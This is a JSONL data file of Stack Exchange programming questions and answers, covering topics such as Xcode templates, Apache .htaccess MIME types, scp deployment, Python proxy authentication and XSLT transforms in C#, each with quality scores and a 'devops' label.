{"id": "hf_ff43cb2df9ee", "question": "<p>I'm working on a visual studio 2005 vb.net windows forms project that's been around for several years.  It's full of default textboxes, labels, dropdowns, datagrids, datetime pickers -- all the standard stuff.  The end result is a very gray, old-looking project.</p>\n\n<p>What would be the best approach to making this project look fresh and snazzy?  I'd rather not rewrite the entire solution with all brand new forms objects, but would that be avoidable?</p>\n", "question_body": "", "answer": "This depends on how the existing \"gray old looking\" project is structured in terms of code.  For example, is data access code separated from the UI in a Data Access Layer, is the business logic in a Business Logic Layer?  If yes, then cleaning the UI for a snazzy look should be relatively simple.\nIf everything is all there in the \"Button Click\" event, then a rewrite is the only way in my humble opinion as otherwise it will just be too time consuming trying to work with the existing code base.\nCheers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.632394"}
{"id": "hf_2109c60aa625", "question": "<p>How would I change the initial templates created by Xcode when creating a new Cocoa Class.</p>\n\n<p>I am referring to the comments and class name created when using Xcode's new class wizard.</p>\n", "question_body": "", "answer": "You wouldn't change the existing templates.  In other words, don't\nmodify\nanything under the\n```\n/Developer\n```\nhierarchy (or wherever you installed your developer tools).\nInstead, clone the templates you want to have customized variants of.  Then change their names and the information in them.  Finally, put them in the appropriate location in your account's\n```\nLibrary/Application Support\n```\nfolder, specifically:\nFile templates:\n```\n~/Library/Application Support/Developer/Shared/Xcode/File Templates/\n```\nTarget templates:\n```\n~/Library/Application Support/Developer/Shared/Xcode/Target Templates/\n```\nProject templates:\n```\n~/Library/Application Support/Developer/Shared/Xcode/Project Templates/\n```\nThat way they won't be overwritten when you install new developer tools, and you can tweak them to your heart's content.\nUpdate\nFor newer versions of Xcode the updated path will be:\n```\n~/Library/Developer/Xcode/Templates/File Templates/Source\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.668264"}
{"id": "hf_d5d6ced80690", "question": "<p>I would like to add the following MIME type to a site run by <code>Apache</code>:</p>\n\n<pre><code>&lt;mime-mapping&gt;\n  &lt;extension&gt;jnlp&lt;/extension&gt;\n  &lt;mime-type&gt;application/x-java-jnlp-file&lt;/mime-type&gt;\n&lt;/mime-mapping&gt;\n</code></pre>\n\n<p><strong>That is the Tomcat format.</strong></p>\n\n<p>I'm on a shared host, so I can only create an <code>.htaccess</code> file. Would someone please specify the complete contents of such a file?</p>\n", "question_body": "", "answer": "You should be able to just add this line:\n```\n```\nAddType application/x-java-jnlp-file     .jnlp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.753283"}
{"id": "hf_8df2549681e9", "question": "<p>Using C# and System.Data.SqlClient, is there a way to retrieve a list of parameters that belong to a stored procedure on a SQL Server before I actually execute it?</p>\n\n<p>I have an a \"multi-environment\" scenario where there are multiple versions of the same database schema. Examples of environments might be \"Development\", \"Staging\", &amp; \"Production\". \"Development\" is going to have one version of the stored procedure and \"Staging\" is going to have another.</p>\n\n<p>All I want to do is validate that a parameter is going to be there before passing it a value and calling the stored procedure. Avoiding that SqlException rather than having to catch it is a plus for me.</p>\n\n<p>Joshua</p>\n", "question_body": "", "answer": "```\n```\nSqlCommandBuilder.DeriveParameters(command)\n```\n```\nThis statement does what I need it to.\nHere is a full code sample for the way I solved this problem.\n```\n```\nPublic Sub GetLogEntriesForApplication(ByVal settings As FilterSettings,\n                              Optional ByVal RowGovernor As Integer = -1)\n\n    Dim command As New SqlCommand(\"GetApplicationActions\", \n        New SqlConnection(m_environment.LoggingDatabaseConnectionString))\n    Dim adapter As New SqlDataAdapter(command)\n\n    Using command.Connection\n\n        With command\n\n            .Connection.Open()\n            .CommandType = CommandType.StoredProcedure\n\n            SqlCommandBuilder.DeriveParameters(command)\n\n            With .Parameters\n\n                If settings.FilterOnLoggingLevel Then\n                    If .Contains(\"@loggingLevel\") Then\n                        .Item(\"@loggingLevel\").Value = settings.LoggingLevel\n                    End If\n                End If\n\n                If settings.FilterOnApplicationID Then\n                    If .Contains(\"@applicationID\") Then\n                        .Item(\"@applicationID\").Value = settings.ApplicationID\n                    End If\n                End If\n\n                If settings.FilterOnCreatedDate Then\n                    If .Contains(\"@startDate\") Then\n                        .Item(\"@startDate\").Value = settings.CreatedDate.Ticks\n                    End If\n                End If\n\n                If settings.FilterOnEndDate Then\n                    If .Contains(\"@endDate\") Then\n                        .Item(\"@endDate\").Value = settings.EndDate.Ticks\n                    End If\n                End If\n\n                If settings.FilterOnSuccess Then\n                    If .Contains(\"@success\") Then\n                        .Item(\"@success\").Value = settings.Success\n                    End If\n                End If\n\n                If settings.FilterOnProcess Then\n                    If settings.Process > -1 Then\n                        If .Contains(\"@process\") Then\n                            .Item(\"@process\").Value = settings.Process\n                        End If\n                    End If\n                End If\n\n                If RowGovernor > -1 Then\n                    If .Contains(\"@topRows\") Then\n                        .Item(\"@topRows\").Value = RowGovernor\n                    End If\n                End If\n\n            End With\n\n        End With\n\n        adapter.TableMappings.Clear()\n        adapter.TableMappings.Add(\"Table\", \"ApplicationActions\")\n        adapter.TableMappings.Add(\"Table1\", \"Milestones\")\n\n        LogEntries.Clear()\n        Milestones.Clear()\n        adapter.Fill(m_logEntryData)\n\n    End Using\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.777224"}
{"id": "hf_cc582be96f56", "question": "<p>I run Flex Builder 3 on a mac and as my project grows - the compile time gets longer and longer and longer.  I am using some SWC's and there is a fair amount of code but it shouldn't take minutes to build and crash daily should it?</p>\n", "question_body": "", "answer": "You may want to explore the command-line compiler found in the Flex SDK,\n```\nmxmlc\n```\n. As I recall, Flex Builder 3 seems to hide all the compiler details, but perhaps there are arguments you can append that will help you speed up the compilation.\nFor example, you may want to set\n```\noptimize=false\n```\nwhich will skip the step of optimizing the bytecode (perhaps reducing compilation time)?  This of course comes at the price of performance and file size of the actual application.\nMore documentation on\n```\nmxmlc\n```\ncan be found at:\nhttp://livedocs.adobe.com/flex/3/html/compilers_13.html\n.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.800405"}
{"id": "hf_d64d4a75c7f3", "question": "<p>I am currently using the following command to upload my site content:</p>\n\n<pre><code>scp -r web/* user@site.com:site.com/\n</code></pre>\n\n<p>This works great except that the .htaccess file is not sent. Presumably, this is because it's hidden.</p>\n\n<p>I have tried adding a second line to send the file explicitely:</p>\n\n<pre><code>scp -r web/.htaccess user@site.com:site.com/.htaccess\n</code></pre>\n\n<p>This works great except now I have to enter my password twice.</p>\n\n<p>Any thoughts on how to make this deploy with only 1 or 0 entries of my password?</p>\n", "question_body": "", "answer": "Just combine the two commands:\n```\n```\nscp -r web/* web/.htaccess user@site.com:site.com/\n```\n```\nIf you want 0 entries of your password you can set up\npublic key authentication\nfor ssh/scp.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.848726"}
{"id": "hf_d440f3120bab", "question": "<p>I'm writing a PHP script that involves scraping web pages. Currently, the script analyzes the page line by line, but it breaks if there is a tag that spans multiple lines, like </p>\n\n<pre><code>&lt;img src=\"example.jpg\"\nalt=\"example\"&gt;\n</code></pre>\n\n<p>If worse comes to worst, I could possibly preprocess the page by removing all line breaks, then re-inserting them at the closest <code>&gt;</code>, but this seems like a kludge.</p>\n\n<p>Ideally, I'd be able to detect a tag that spans lines, conjoin only those to lines, and continue processing.<br>\nSo what's the best method to detect this?</p>\n", "question_body": "", "answer": "Well, this doesn't answer the question and is more of an opinion, but...\nI think that the best scraping strategy (and consequently, to eliminate this problem) is not to analyze an HTML line by line, which is unnatural to HTML, but to analyze it by its natural delimiter: <> pairs.\nThere will be two types of course:\nTag elements that are immediately closed, e.g., < br />\nTag elements that need a separate closing tag, e.g., < p > text < /p >\nYou can immediately see the advantage of using this strategy in the case of paragraph(p) tags: It will be easier to parse mutiline paragraphs instead of having to track where the closing tag is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.885364"}
{"id": "hf_19c877c7bcb9", "question": "<p>I have an application which <em>really</em> should be installed, but does work fine when deployed using JNLP.</p>\n\n<p>However, it would seem that some Java functions such as <code>Runtime.exec</code> don't work using the default security options.</p>\n\n<p>I would like to therefore <a href=\"http://www.joelonsoftware.com/items/2008/07/01.html\" rel=\"nofollow noreferrer\">disable</a> UI functionality that relies upon such functions.  </p>\n\n<p>So my question is, <strong>how do I detect at runtime whether certain functions are available or not?</strong></p>\n\n<p>The case study, here of course, is <code>Runtime.exec</code>.</p>\n", "question_body": "", "answer": "You want to ask to the\nSecurityManager\nif you have Exec right with the checkExec method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.921093"}
{"id": "hf_38528d002a6c", "question": "<p>I'm planning on doing more coding from home but in order to do so, I need to be able to edit files on a Samba drive on our dev server. The problem I've run into with several editors is that the network latency causes the editor to lock up for long periods of time (Eclipse, TextMate). Some editors cope with this a lot better than others, but are there any file system or other tweaks I can make to minimize the impact of lag?</p>\n\n<p>A few additional points:</p>\n\n<ul>\n<li>There's a policy against having company data on personal machines, so I'd like to avoid checking out the code locally.</li>\n<li>The mount is over a PPTP VPN connection.</li>\n<li>Mounting to Linux or OS X client</li>\n</ul>\n", "question_body": "", "answer": "Use a source control system — Subversion, Perforce, Git, Mercurial, Bazaar, etc. — so you're never editing code on a shared server.  Instead you should be editing a local work area and committing changes to a repository located on the network.\nAlso, convince your company to adapt their policy such that company code is allowed on personal machines\nif\nit's on an encrypted volume.  Encrypted disk images that you can use for this are\ntrivial\nto create using Disk Utility, and can use strong cryptography.  You can get even more security by not storing your encryption passphrase in your keychain, and instead typing it every time you mount the encrypted volume; this means that even if your local user account is compromised, as long as you don't have the volume mounted, nobody else will be able to mount it.\nI did this all the time when I was consulting and none of my clients — some of whom had similar rules about company code — ever had a problem with it once I explained how things worked.  (I think some of them even started using encrypted disk images even within their offices.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:16.967546"}
{"id": "hf_ee499f428054", "question": "<p>In my (PHP) web app, I have a part of my site that keeps a history of recent searches. The most recent queries get shown in a side box. If the query text is too long, I truncate it and show ellipses. Eg: \"My very long query is...\"</p>\n\n<p>Currently, I truncate after a certain number of characters. Since the font is not monotype, a query of all I's is more narrow than a query of all W's. I'd like them to all be about the same width prior to the ellipses. Is there a way to get the approximate width of the resulting string so that the ellipses for any given string will occur in about the same number of pixels from the beginning? Does CSS have a way? Does PHP? Would this be better handled by JavaScript?</p>\n", "question_body": "", "answer": "Does CSS have a way?\nNo\nDoes PHP?\nNo\n-\nTo do that you'd have to get the font metrics for each character, and apply them to all your letters in your string. While you could do this by using a drawing/rendering library like ImageMagick on the server, it wouldn't really work because different browser on different OS's render fonts differently.\nEven if it did work, you wouldn't want to do it, because it would also take forever to render. Your server would be able to push 1 page per second (if that) instead of several thousand.\nIf you can live without the trailing ..., then you can nicely fake it using\n```\ndiv\n```\ntags and css\n```\noverflow: hidden\n```\n, like this:\n```\n```\n.line_of_text {\n    height:1.3em;\n    line-height:1.3em;\n    overflow:hidden;\n}\n\n<div class=\"line_of_text\"> Some long text which will arbitrarily be cut off at whatever word fits best</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.041685"}
{"id": "hf_c494acf1641e", "question": "<p>Today I was listening to the <a href=\"http://www.hanselminutes.com/default.aspx?showID=145\" rel=\"nofollow noreferrer\">Hanselminutes show about .NET 3.5 SP1...What's inside</a>, and they twice mentioned the Office 2007-like Ribbon control that is included in Visual Studio 2008 Service Pack 1.  </p>\n\n<p>I am very interested about this, as I was previously looking at purchasing this from a 3rd party vendor (likely <a href=\"http://www.devcomponents.com/dotnetbar/ribbon-control.aspx\" rel=\"nofollow noreferrer\">DevComponent's DotNetBar</a>).  However, I did some research this morning and have found nothing about this control being included for use with C# and WPF.  Does anyone know more about the included Ribbon control and whether or not it is available for C# or WPF?</p>\n", "question_body": "", "answer": "Yeah I did a double-take when I heard them say that too.\nThe ribbon control, along with a DatePicker and DataGrid, are being developed out of band\nover here\non CodePlex. I'm not sure why Carl and Scott were suggesting that it was part of the SP1 release.\nVincent Sibal\nposts about DataGrid (which is available already in some form) on his blog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.088795"}
{"id": "hf_d0b8b70f6b37", "question": "<p>Whilst starting to learn lisp, I've come across the term <em>tail-recursive</em>. What does it mean exactly?</p>\n", "question_body": "", "answer": "I'm not a Lisp programmer, but I think\nthis\nwill help.\nBasically it's a style of programming such that the recursive call is the last thing you do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.112134"}
{"id": "hf_df4ba0332056", "question": "<p>I have the following <code>textarea</code> in a <code>table</code>:</p>\n\n<pre><code>&lt;table width=\"300\"&gt;&lt;tr&gt;&lt;td&gt;\n\n&lt;textarea style=\"width:100%\"&gt;\nlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstringlongstring\n&lt;/textarea&gt;\n\n&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\n</code></pre>\n\n<p>With a long string in the textarea, the textarea stretches out to accommodate it in one line in IE7, but retains its 300px width in other browsers.</p>\n\n<p>Any ideas as to how to fix this in IE?</p>\n", "question_body": "", "answer": "did you try...\n```\noverflow: hidden;\n```\n??\nI'm not sure if it should be in the table of the textarea... experiment a bit", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.135816"}
{"id": "hf_e21744707cf1", "question": "<p>What is the minimum I need to add to a .NET 2.0 WebSite's web.config to make it .NET 3.5? </p>\n\n<p>Visual Studio adds all the config sections and script handlers, but if you aren't using those are they are really necessary?</p>\n\n<p>Is there a command line tool to \"upgrade\" a .NET 2.0 web.config to 3.5?</p>\n", "question_body": "", "answer": "There is a good description of the 3.5 web.config available here:\nhttps://web.archive.org/web/20211020153237/https://www.4guysfromrolla.com/articles/121207-1.aspx\nThe assemblies and config sections are important because they tell the runtime to use the new 3.5 dlls instead of the 2.0 dlls\nThe\ncodedom\nsection tells the compiler to use 3.5.\nIf you're not using ASP.Net Ajax you can probably skip the rest.  I've never tested that though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.170566"}
{"id": "hf_4e15c80861ee", "question": "<p>Could someone tell me what the units the <code>SetTimeout(int)</code> method in the <code>ICriteria</code> interface uses?<br>\nIs it milliseconds, seconds, minutes or other?</p>\n", "question_body": "", "answer": "I think it's seconds.  The NHibernate API closely mirrors Hibernate Core for Java, where the\nCriteria.setTimeout(int)\nmethod uses seconds as the units (see also\nStatement.setQueryTimeout(int)\n).\nAlso, after looking at some NHibernate source, it appears that it's using that value to set the timeout for the underlying ADO.NET query, which uses seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.194155"}
{"id": "hf_23de84abfed7", "question": "<p>Assume that I have a field called <em>price</em> for the documents in Solr and I have that field faceted. I want to get the facets as ranges of values (eg: 0-100, 100-500, 500-1000, etc). How to do it?</p>\n\n<p>I can specify the ranges beforehand, but I also want to know whether it is possible to calculate the ranges (say for 5 values) automatically based on the values in the documents?</p>\n", "question_body": "", "answer": "There may well be a better Solr-specific answer, but I work with straight Lucene, and since you're not getting much traction I'll take a stab. There, I'd create a populate a\n```\nFilter\n```\nwith a\n```\nFilteredQuery\n```\nwrapping the original\n```\nQuery\n```\n. Then I'd get a\n```\nFieldCache\n```\nfor the field of interest. Enumerate the hits in the filter's bitset, and for each hit, you get the value of the field from the field cache, and add it to a SortedSet. When you've got all of the hits, divide the size of the set into the number of ranges you want (five to seven is a good number according the user interface guys), and rather than a single-valued constraint, your facets will be a range query with the lower and upper bounds of each of those subsets.\nI'd recommend using some special-case logic for a small number of values; obviously, if you only have four distinct values, it doesn't make sense to try and make 5 range refinements out of them. Below a certain threshold (say 3*your ideal number of ranges), you just show the facets normally rather than ranges.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.212927"}
{"id": "hf_fcacecfcc020", "question": "<p>I would like to retrieve the ethernet address of the network interface that is used to access a particular website.</p>\n\n<p>How can this be done in Java?</p>\n\n<p><strong>Solution</strong> Note that the accepted solution of <code>getHardwareAddress</code> is only available in Java 6. There does not seem to be a solution for Java 5 aside from executing i(f|p)confing.</p>\n", "question_body": "", "answer": "You can get the address that connects to your ServerSocket using\nhttp://java.sun.com/javase/6/docs/api/java/net/NetworkInterface.html#getInetAddresses()\nHowever if your client is connecting via a NAT, then you will get the address of the router and NOT the Ethernet address. If it is on your local network (via a hub/switch, no router with NAT) the it wil work as intended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.233295"}
{"id": "hf_4c7a6078cf4f", "question": "<p>I've switched over to a Mac recently and, although things have been going quite well, the very different text-editing behaviours across applications is driving me insane.</p>\n\n<p><kbd>Home</kbd>, <kbd>End</kbd>, <kbd>Page Up</kbd>, <kbd>Page Down</kbd>, <kbd>Apple-arrow</kbd>, <kbd>Ctrl-arrow</kbd>, <kbd>alt-arrow</kbd> etc. quite often do different things depending on the application.</p>\n\n<p>Is there a way to standardise this behaviour?</p>\n", "question_body": "", "answer": "There are standards, but they are not based around what you're used to from windows. It drove me mad until I got over myself and decided to learn what the actual standards were. Since then I've been sold.\nThe ones I use:\nCommand\n-\nLeft\n/\nRight\n- Jump to start/end of line\nCan also do this with\nctrl\n-\na\n/\ne\nwhich is great if you're used to ssh\nCommand\n-\nUp\n/\nDown\n- Jump to top/bottom of text field or document\nOption\n-\nLeft\n/\nRight\n- Jump to start/end of word or previous/next word\nThese basically replace\nhome\n/\nend\n/\npgup\n/\npgdown\n, and\nctrl\n-\nleft\n/\nright\nfrom the windows world.\nI find this to be a massive win due to the fact I have a macbook pro and almost no laptops have proper\nhome\n/\nend\n/\npgup\n/\npgdown\nkeys - not needing them in OSX is a godsend\nHere's a big list of the rest of them", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.263769"}
{"id": "hf_ee912bd1ca84", "question": "<p>How would you go about finding out how much memory is being used by an object? I know it is possible to find out how much is used by a block of code, but not by an instantiated object (anytime during its life), which is what I want. </p>\n", "question_body": "", "answer": "I haven't any personal experience with either of the following, but a simple search for a \"Python [memory] profiler\" yield:\nPySizer, \"a memory profiler for Python,\" found at\nhttp://pysizer.8325.org/\n.  However the page seems to indicate that the project hasn't been updated for a while, and refers to...\nHeapy, \"support[ing] debugging and optimization regarding memory related issues in Python programs,\" found at\nhttp://guppy-pe.sourceforge.net/#Heapy\n.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.294573"}
{"id": "hf_851106d71e27", "question": "<p>How can you allow a PHP script to write to a file with high-security restrictions, such as only allowing a single user to write to it?</p>\n\n<p>The difficulty seems to be that a PHP script is running as a low-permissions user (maybe apache, or www, or nobody?), and even if I <code>chown</code> apache the_writable_file, the directory it's in might not be writable for the low-level user.  In general, what's the usual way that PHP can work with local files in a secure way?</p>\n", "question_body": "", "answer": "Sure,\n```\nchgrp apache the_writable_file\n```\nand\n```\nchmod g+w the_writable_file\n```\n.  After that, only your secure user and the apache user will be able to write to the file.  Since the apache user is typically forbidden from logging in, you only have to worry about web users writing to your secure file using through the http daemon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.330513"}
{"id": "hf_81a31539e672", "question": "<p>A reliable coder friend told me that Python's current multi-threading implementation is seriously buggy - enough to avoid using altogether.  What can said about this rumor?</p>\n", "question_body": "", "answer": "I've used it in several applications and have never had nor heard of threading being anything other than 100% reliable, as long as you know its limits.  You can't spawn 1000 threads at the same time and expect your program to run properly on Windows, however you can easily write a worker pool and just feed it 1000 operations, and keep everything nice and under control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.366513"}
{"id": "hf_d56c20cade91", "question": "<p>Given the key for some registry value (e.g. HKEY_LOCAL_MACHINE\\blah\\blah\\blah\\foo) how can I:</p>\n\n<ol>\n<li>Safely determine that such a key exists.</li>\n<li>Programmatically (i.e. with code) get its value.</li>\n</ol>\n\n<p>I have absolutely no intention of writing anything back to the registry (for the duration of my career if I can help it). So we can skip the lecture about every molecule in my body exploding at the speed of light if I write to the registry incorrectly. </p>\n\n<p>Prefer answers in C++, but mostly just need to know what the special Windows API incantation to get at the value is.</p>\n", "question_body": "", "answer": "RegQueryValueEx\nThis gives the value if it exists, and returns an error code ERROR_FILE_NOT_FOUND if the key doesn't exist.\n(I can't tell if my link is working or not, but if you just google for \"RegQueryValueEx\" the first hit is the msdn documentation.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.413649"}
{"id": "hf_40ccafad6ced", "question": "<p>What's the best way to specify a proxy with username and password for an http connection in python?</p>\n", "question_body": "", "answer": "This works for me:\n```\n```\nimport urllib2\n\nproxy = urllib2.ProxyHandler({'http': 'http://\nusername:password@proxyurl:proxyport'})\nauth = urllib2.HTTPBasicAuthHandler()\nopener = urllib2.build_opener(proxy, auth, urllib2.HTTPHandler)\nurllib2.install_opener(opener)\n\nconn = urllib2.urlopen('http://python.org')\nreturn_str = conn.read()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.436255"}
{"id": "hf_5ef920e32585", "question": "<p>I've been given a job of 'translating' one language into another. The source is too flexible (complex) for a simple line by line approach with regex. Where can I go to learn more about lexical analysis and parsers?</p>\n", "question_body": "", "answer": "I've recently been working with\nPLY\nwhich is an implementation of lex and yacc in Python. It's quite easy to get started with it and there are some simple examples in the documentation.\nParsing can quickly become a very technical topic and you'll find that you probably won't need to know all the details of the parsing algorithm if you're using a parser builder like PLY.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.458637"}
{"id": "hf_46e1969d7897", "question": "<pre><code>&lt;xsl:for-each select=\"./node [position() &amp;lt;= (count(*) div 2)]\"&gt;\n    &lt;li&gt;foo&lt;/li&gt;\n&lt;/xsl:for-each&gt;\n&lt;xsl:for-each select=\"./node [count(*) div 2 &amp;lt; position()]\"&gt;\n    &lt;li&gt;bar&lt;/li&gt;\n&lt;/xsl:for-each&gt;\n</code></pre>\n\n<p>My list has 12 nodes, but the second list is always 8 and the first is always 4. What's wrong with my selects?</p>\n", "question_body": "", "answer": "I'm not at all sure, but it seems to me that\n```\ncount(*)\n```\nis not doing what you think it is.  That counts the number of children of the current node, not the size of the current node list.  Could you print it out to check that it's 8 or 9 instead of 12?\nUse\n```\nlast()\n```\nto get the context size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.477761"}
{"id": "hf_c77a03f9178c", "question": "<p>I want to apply an XSLT Stylesheet to an XML Document using C# and write the output to a File.</p>\n", "question_body": "", "answer": "I found a possible answer here:\nhttp://web.archive.org/web/20130329123237/http://www.csharpfriends.com/Articles/getArticle.aspx?articleID=63\nFrom the article:\n```\n```\nXPathDocument myXPathDoc = new XPathDocument(myXmlFile) ;\nXslTransform myXslTrans = new XslTransform() ;\nmyXslTrans.Load(myStyleSheet);\nXmlTextWriter myWriter = new XmlTextWriter(\"result.html\",null) ;\nmyXslTrans.Transform(myXPathDoc,null,myWriter) ;\n```\n```\nEdit:\nBut my trusty compiler says,\n```\nXslTransform\n```\nis obsolete: Use\n```\nXslCompiledTransform\n```\ninstead:\n```\n```\nXPathDocument myXPathDoc = new XPathDocument(myXmlFile) ;\nXslCompiledTransform myXslTrans = new XslCompiledTransform();\nmyXslTrans.Load(myStyleSheet);\nXmlTextWriter myWriter = new XmlTextWriter(\"result.html\",null);\nmyXslTrans.Transform(myXPathDoc,null,myWriter);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.510462"}
{"id": "hf_9b927b96d41c", "question": "<p>MS CRM Dynamics 4.0 incorporates the MS WF engine.  The built in designer allows the creation of sequential workflows whos activities have native access to CRM entities.</p>\n\n<p>Is it possible to:</p>\n\n<ul>\n<li>Create a state machine workflow\noutside of CRM (i.e. in visual studio) and import it into CRM? </li>\n<li>Have this workflow access the CRM\nentities?</li>\n</ul>\n", "question_body": "", "answer": "I don't know the answer to your specific question, but hopefully this information will point you in the right direction.\nThe \"native\" format for WF workflows is \".xoml\" files.  These are basically identical to XAML files, and both are nothing more than generic persistence formats for a .NET object tree.  If you can access the saved data that is output by the Dynamics designer, it should be in the same format.  If it is, you should be able to open it from the Visual Studio designer.\nThe key here is that CRM undoubtedly defines its own set of custom activities that you'll need to be able to reference from within the alternate designer.  With any luck, these will be in assemblies with obvious names and/or in the GAC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.544140"}
